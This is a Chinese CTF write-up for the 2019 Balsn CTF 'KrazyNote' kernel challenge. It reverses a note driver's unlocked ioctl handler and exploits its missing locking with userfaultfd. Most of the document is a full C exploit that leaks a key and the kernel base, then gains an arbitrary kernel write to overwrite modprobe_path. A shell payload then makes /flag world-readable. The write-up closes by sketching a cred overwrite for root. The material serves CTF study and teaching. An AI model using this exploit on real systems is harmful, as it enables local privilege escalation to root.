XiaozaYa

[userfaultfd] 2019-BalsnCTF_KrazyNote

前言

题目不算难, 但是这代码逆向可逆死个人:) 悲悲悲

程序分析

内核版本: v5.1.9

保护: 开了 kaslr, smep, smap. 现在的题目基本都开了, 都不用看.

其中 note 模块中注册了一个 misc 设备, 其函数表中就只有 note_open 和 note_unlocked_ioctl 两个函数, 其中 note_open 函数没啥用. 主要看看 note_unlocked_ioctl 函数吧.

这里用的是 unlocked_ioctl 而不是 ioctl, 看网上说 unlocked_ioctl 不会提供锁操作, 需要用户自己实现相关锁操作

行, 来看看 note_unlocked_ioctl 函数吧:) 是不是一脸懵逼, 这只是其中一部分

可能是代码优化的问题, 反正 IDA 的伪 C 代码死难看. 所以这里采用动调的方式去理清楚整个程序的功能.

动调就不一步一步展示了, 最后我整理的结果如下, 就是简单的写了下这个函数的逻辑. 整个过程都没有上锁.

// 用户程序传入的结构体
struct user_note {
	size_t idx;
	size_t size;
	char* buf;
};
//  chunk 结构体
// 感觉就是在模仿 glibc
struct chunk {
	size_t key;
	size_t data_size;
	size_t data_offset;
	char data[]; //char data[self.data_size];
};

#define ADD  0xFFFFFF00
#define DELE 0xFFFFFF03
#define EDIT 0xFFFFFF01
#define SHOW 0xFFFFFF02
// 调试得知 KEY 与 page_offset_base 存在一个不固定的偏移
#define KEY
#define CHUNK_HEADER_SIZE 0x18

size_t page_offset_base;
// note_arr, chunk_buf, current_chunk_ptr 为 BSS 段上的变量
struct chunk* note_arr[16];
char* current_chunk_ptr = chunk_buf;
char chunk_buf[0x2000];

// 默认 idx 在 [0, 15] 之间
// size 在 [0, 0x100] 之间
// 这里实际上要复杂一些, 因为 chunk 的大小没有对齐
__int64 note_unlocked_ioctl(struct file* fp, unsigend int cmd, unsigned __int64 args)
{
	struct user_note user_note;
	struct chunk* knote;
	size_t buf[32];
	if (copy_from_user(&user_note, args, 24)) return -14;
	
	switch (cmd)
	{

		case ADD:
			size_t add_size = LOBYTE(user_note->size);
			size_t idx = -1;
			// 获取堆块索引, 最多申请16个
			for (;idx < 16; idx++)
				if (!note_addr[idx])
					break;
			if (idx == 16) goto ERROR;
			// 设置堆块元数据
			note_arr[idx] = current_chunk_ptr;	
			current_chunk_ptr = current_chunk_ptr + add_size + CHUNK_HEADER_SIZE;
			note_arr[idx].key = KEY;
			note_arr[idx].data_size = add_size;
			// 复制数据到内核空间
			copy_from_user(buf, user_note.buf, add_size);
			// 数据进行异或加密
			xor_key(buf, KEY);
			// 复制数据到堆块中
			qmemcpy(note_arr[idx].data, buf, add_size);
			note_arr[idx].data_offset = note_arr[idx] - page_offset_base;
			break;

		case SHOW:
			size_t idx = user_note.idx & 0xf;
			size_t size = LOBYTE(note_arr[idx].size);
			// 获取堆块数据域起始地址
			size_t data_addr = note_arr[idx].data_offset + page_offset_base;
			qmemcpy(buf, data_addr, size);
			// 数据异或解密
			xor_key(buf, KEY);
			// 复制数据到用户空间
			copy_to_user(user_note.buf, buf, size); 
			break;

		case EDIT:
			// 获取堆块
			knote = note_arr[LOBYTE(user_note.idx)];
			if (knote)
			{
				size_t size = LOBYTE(knote->size);
				size_t data_addr = page_offset_base + knote->data_offset;
				// 复制数据到内核空间
				copy_from_user(buf, user_note.buf, size);
				// 数据加密
				xor_key(buf, KEY);
				// 复制数据到堆块中
				qmemcpy(data_addr, buf, size);
			}
			break;
	
		case DELE:
			// 删除所有堆块
			// 将 note_arr 清空
			for (int i = 0; i < 16; i++) note_arr[i] = NULL;
			// 重置分配堆块指针
			current_chunk_ptr = chunk_buf;
			// 清空堆区的所以数据
			memset(chunk_buf, 0, 0x2000);
			break;
	}
	return 0;
ERROR:
	return -14
}

总的来说, 题目实现了一个菜单 "堆", 具有增/删/查/改的功能, 但是这里的 "堆" 是出题者自己模拟的, 即:

1) 在 BSS 段上分配一块内存 bss_buf 作为堆

2) current_chunk_ptr 作为堆指针, 指向堆目前的地址, 类似 glibc 中的 top_chunk

3) 定义了一个 chunk 结构, 类似 glibc 中的 chunk 都包含一个 0x10 的头一样. 这里的头为 0x18, 字段分别为 key, data_size, data_offset, 其函数如下:

1) chunk 中的数据都会跟 key 进行异或

2) data_size 表示数据域的大小

3) page_offset_base + data_offset 为数据域的起始地址

注意:

1, 这里的 data_size 可以为0, 这时候只分配一个chunk头.

2, 这里的 data_size 并不是对齐的, 也就是说你可以分配大小为 1 字节的堆块, 这是堆块的总大小就为 0x19, 下次分配就会从 0x20 开始. 但是这个没啥用, 我们自己在进行在分配的时候还是 8 字节对齐分配, 因为不想自找麻烦:)

3, 注意一下 dele 堆块, 上面代码写的很清楚了, 自己看吧

漏洞分析与利用

漏洞就在于其没有进行锁操作, 并且内核版本为 5.1.9, 在 add/edit 的时候利用了 copy_from_user, 所以就是常规的 userfaultfd 利用了.

任意写打 modprobe_path

其实上面已经写的很清楚了, 代码逻辑也写了, 先把 key 泄漏出来, 然后泄漏 kernel_base, 最后修改 data_offset 实现任意地址写.

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t key;
size_t kernel_offset;
size_t modprobe_path_offset;

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

int fd;
struct note {
        size_t idx;
        size_t size;
        char* buf;
};

void add(size_t size, char* buf)
{
        struct note n = { .idx = 0, .size = size, .buf = buf };
        ioctl(fd, 0xFFFFFF00, &n);
}

void edit(size_t idx, char* buf)
{
        struct note n = { .idx = idx, .size = 0, .buf = buf };
        ioctl(fd, 0xFFFFFF01, &n);
}

void show(size_t idx, char* buf)
{
        struct note n = { .idx = idx, .size = 0, .buf = buf };
        ioctl(fd, 0xFFFFFF02, &n);
}

void dele()
{
        struct note n = { .idx = 0, .size = 0, .buf = NULL };
        ioctl(fd, 0xFFFFFF03, &n);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000] = { 0 };
void* leak_key(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler to leak key");
                char buf[0x100] = { 0 };
                dele();
                add(0, buf);
                add(0, buf);

                *(uint64_t*)(copy_src) = 0;
                *(uint64_t*)(copy_src+8) = 0xff;

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* leak_kernel(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler to leak kernel base");
                char buf[0x100] = { 0 };
                dele();
                add(0x18, buf);
                add(0x18, buf);
                memset(copy_src, 0, sizeof(copy_src));
                *(uint64_t*)(copy_src+0x18) = key;
                *(uint64_t*)(copy_src+0x18+8) = 0x18 ^ key;
                *(uint64_t*)(copy_src+0x18+8+8) = 0x9d000 ^ key;

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* hijack(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler to hijack modprobe_path");
                char buf[0x100] = { 0 };
                dele();
                add(0x18, buf);
                add(0x18, buf);
                memset(copy_src, 0, sizeof(copy_src));
                *(uint64_t*)(copy_src+0x18) = key;
                *(uint64_t*)(copy_src+0x18+8) = 0x10 ^ key;
                *(uint64_t*)(copy_src+0x18+8+8) = modprobe_path_offset ^ key;

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/note/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /home/note/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/dummy"); // 非法格式的二进制文件
        system("chmod +x /home/note//dummy");
        system("/home/note/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 执行的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        char buf[0x1000] = { 0 };

        fd = open("/dev/note", O_RDONLY);
        if (fd < 0) err_exit("FAILED to open dev file");

        pthread_t thr0, thr1, thr2;
        void* uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        void* uffd_buf1 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        void* uffd_buf2 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf0 < 0) err_exit("FAILED to mmap for uffd");
        if (uffd_buf1 < 0) err_exit("FAILED to mmap for uffd");
        if (uffd_buf2 < 0) err_exit("FAILED to mmap for uffd");
        register_userfaultfd(&thr0, uffd_buf0, 0x1000, leak_key);
        register_userfaultfd(&thr1, uffd_buf1, 0x1000, leak_kernel);
        register_userfaultfd(&thr2, uffd_buf2, 0x1000, hijack);

        add(0x10, uffd_buf0);
        show(1, buf);
        key = *(uint64_t*)buf;
        binary_dump("Leak key data", buf, 0x100);
        hexx("key value", key);

        memset(buf, 0, sizeof(buf));
        dele();
        add(0x18+0x18, buf);
        edit(0, uffd_buf1);
        show(1, buf);
        kernel_offset = *(uint64_t*)buf - 0xffffffff81000030;
        binary_dump("Leak kernel_base data", buf, 0x18);
        hexx("kernel_offset", kernel_offset);

        size_t modprobe_path = 0xffffffff8205e0e0 + kernel_offset;
        size_t page_offset_base = key & 0xfffffffff0000000;
        modprobe_path_offset = modprobe_path - page_offset_base;
        hexx("modprobe", modprobe_path);
        hexx("Guess page_offset_base", page_offset_base);
        hexx("modprobe_path_offset", modprobe_path_offset);

        memset(buf, 0, sizeof(buf));
        dele();
        add(0x18+0x18, buf);
        edit(0, uffd_buf2);
        strcpy(buf, "/home/note/x");
        edit(1, buf);
        puts("[+] get flag");
        get_flag();

        return 0;
}

效果如下:

任意写修改 cred

这里我们存在任意读写的能力, 所有根本不需要泄漏 kernel_base, 直接在泄漏 key 后得到 page_offset_base, 然后遍历搜索 current task_struct, 然后找到 current_cred, 最后利用任意写修改 cred 进行提权.